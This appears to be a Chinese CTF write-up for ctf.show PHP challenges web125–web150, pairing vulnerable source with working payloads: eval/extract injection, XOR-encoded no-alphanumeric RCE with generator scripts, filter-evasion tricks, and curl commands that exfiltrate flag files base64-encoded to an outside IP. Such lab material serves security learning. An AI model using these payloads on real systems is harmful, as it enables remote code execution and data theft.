通过extract函数对超级全局数组进行变量转换,也就是传什么参就转换成对应的变量-值
GET对于fl0g写死了,不过我们可以通过POST传fl0g=flag_give_me
,这样POST数组中就存在"fl0g"=>"flag_give_me"
键值对,随后eval执行extract($_POST)
就可以将POST数组所有键值对转化成变量-值了,其中包含`fl0g="flag_give_me”`
CTF_SHOW=1&CTF[SHOW.COM=1&fun=extract($_POST)&fl0g=flag_give_me
法二
echo、var_dump等这些打印函数被ban,不过还有var_export函数;GLOBALS也被ban,不过可以用get_defined_vars打印所有变量
CTF_SHOW=1&CTF[SHOW.COM=1&fun=var_export(get_defined_vars())
法三
highlight_file+传参
CTF_SHOW=flag.php&CTF[SHOW.COM=1&fun=highlight_file($_POST[CTF_SHOW])
法四
传参-执行-赋值
CTF_SHOW=flag&CTF[SHOW.COM=1&fun=eval($_POST[1])&1=$fl0g="flag_give_me";
法五
这个比较新奇
源代码中包含了$a=$_SERVER['argv'];
,对于$_SERVER['argv']
对于命令行
对于web服务
register_argc_argv = On
query string
其实指的就是GET传参的字符串,即?后的所有内容
?$fl0g=flag_give_me;
CTF_SHOW=flag&CTF[SHOW.COM=1&fun=eval($a[0])
题外
本来想直接system($_GET[1]),但一直无回显,测试半天发现估计是函数被禁用了
web126
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
web127
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-10 21:52:49
*/
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
空格绕过waf
?ctf show=ilove36d
web128
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-12 19:49:05
*/
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL
f1数字字母全被禁了
hint提示开启text扩展,利用扩展中Gettext函数,别名_
返回字符串
?f1=_&f2=get_defined_vars
web129
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 03:18:40
*/
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
./
当前目录,../
上一级目录
绕过
?f=./ctfshow/../flag.php
web130
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 05:19:40
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
两个匹配存在ctfshow且ctfshow前不存在任何字符
f=ctfshow
web131
very very very(省略25万个very)ctfshow
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 05:19:40
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
突破最大回溯限制绕过
print('a'*1000000+'36Dctfshow')
web132
扫后台
dirsearch -u https://cdbb4532-8247-4cbc-81e3-fa4e1043681b.challenge.ctf.show/
/admin
存在源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 06:22:13
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 20:05:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
运算符优先级
结合方向 | 运算符 | 附加信息 |
---|---|---|
不适用 | clone new |
clone 和 new |
右 | ** |
算术运算符 |
不适用 | + - ++ -- ~ (int) (float) (string) (array) (object) (bool) @ |
算术 (一元 + 和 - ), 递增/递减, 按位, 类型转换 和 错误控制 |
左 | instanceof |
类型 |
不适用 | ! |
逻辑运算符 |
左 | * / % |
算术运算符 |
左 | + - . |
算数 (二元 + 和 - ), array 和 string (. PHP 8.0.0 前可用) |
左 | << >> |
位运算符 |
左 | . |
string (PHP 8.0.0 起可用) |
无 | < <= > >= |
比较运算符 |
无 | == != === !== <> <=> |
比较运算符 |
左 | & |
位运算符 和 引用 |
左 | ^ |
位运算符 |
左 | | |
位运算符 |
左 | && |
逻辑运算符 |
左 | || |
逻辑运算符 |
右 | ?? |
null 合并运算符 |
无关联 | ? : |
三元运算符 (PHP 8.0.0 之前左联) |
右 | = += -= *= **= /= .= %= &= |= ^= <<= >>= ??= |
赋值运算符 |
不适用 | yield from |
yield from |
不适用 | yield |
yield |
不适用 | print |
|
左 | and |
逻辑运算符 |
左 | xor |
逻辑运算符 |
左 | or |
逻辑运算符 |
先运算&&再运算||
ps. 在&&运算中,若左为真则不进行右判断,结果为真,在||运算中,若左为假则不进行右判断,结果为假
?username=admin&code=admin&password=
web133
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 16:43:44
*/
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
构造**`$F` ;**确保被eval函数正常解析
截断后的字符串被通过``命令执行,无回显
vps开启监听
于是,构造如下将flag带出
?F=`$F` ;curl http://47.120.57.12:8000?a=`tac flag.php|base64`
web134
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-14 23:01:06
*/
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
extract解析
?_POST[key1]=36d&_POST[key2]=36d
web135
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 18:48:03
*/
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
法一
出网外带
''
绕过
?F=`$F` ;cur''l http://47.120.57.12:8000?a=`ta''c flag.php|ba''se64`
法二
?F=`$F` ;cp flag.php flag
web136
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
exec无回显
>
被过滤,用tee
代替
ls /执行结果写入名为ls文件中
?c=ls /|tee ls
?c=cat /f149_15_h3r3|tee flag
web137
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 22:27:49
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
ctfshow=ctfshow::getFlag
web138
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 22:52:13
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
同上题
构造数组
ctfshow[]=ctfshow&ctfshow[]=getFlag
web139
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
所有子路由都解析到index.php,写文件不可行了
ip转成int类型
?c=cur''l http://796408076:8000/`ls /|ba''se64`
?c=cur''l http://796408076:8000/`c''at /f149_15_h3r3|ba''se64`
web140
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-17 12:39:25
*/
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}
若等于判断,返回0即可
f1=system&f2=system
web141
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-17 19:28:09
*/
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
v1v2只能为数字,相对不可控,唯一可控的v3可以无数字字母RCE
利用羽师傅的异或脚本
根据正则生成字符映射集
<?php
/*author yu22x*/
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
payload生成
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)
v3被v1v2夹在中间,只要v3返回为数字,就可以用运算绕过
?v1=0&v2=0&v3=%2b("%0c%05%0c%08%05%0d"^"%7f%7c%7f%7c%60%60")("%03%01%08%00%06%0c%01%07%00%0c%08%0c"^"%60%60%7c%20%60%60%60%60%2e%7c%60%7c")%2b
web142
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-17 19:36:02
*/
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}
有趣,不过秒了
?v1=0
web143
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 12:48:14
*/
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
同web141,修改一下php脚本中的正则
payload:
?v1=0&v2=0&v3=^("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%00"^"%60%60%7f%20%60%2a")
^
web144
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 16:21:15
*/
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
function check($str){
return strlen($str)===1?true:false;
}
改了个顺序
?v1=1&v3=0&v2=^("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%00"^"%60%60%7f%20%60%2a")
web145
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 17:41:33
*/
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
^
被过滤,自增绕过
/?v1=0&v2=0&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%02'|'%60%60%60%20%60%28')|
web146
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 17:41:33
*/
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
web147
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 02:04:38
*/
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
利用create_function,执行第二个参数
版本小于php7.2
\create_function
绕过首位检测
web148
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 03:52:11
*/
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}
同web141,修改一下php脚本中的正则
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%02"^"%60%60%7d%21%60%28");
web149
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 04:34:40
*/
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
flag在根目录
web150
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 07:12:57
*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}
:
被过滤了,封装协议读不了flag
日志注入
web150_plus
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 07:12:57
*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}
.和空格会解析为_
?..CTFSHOW =phpinfo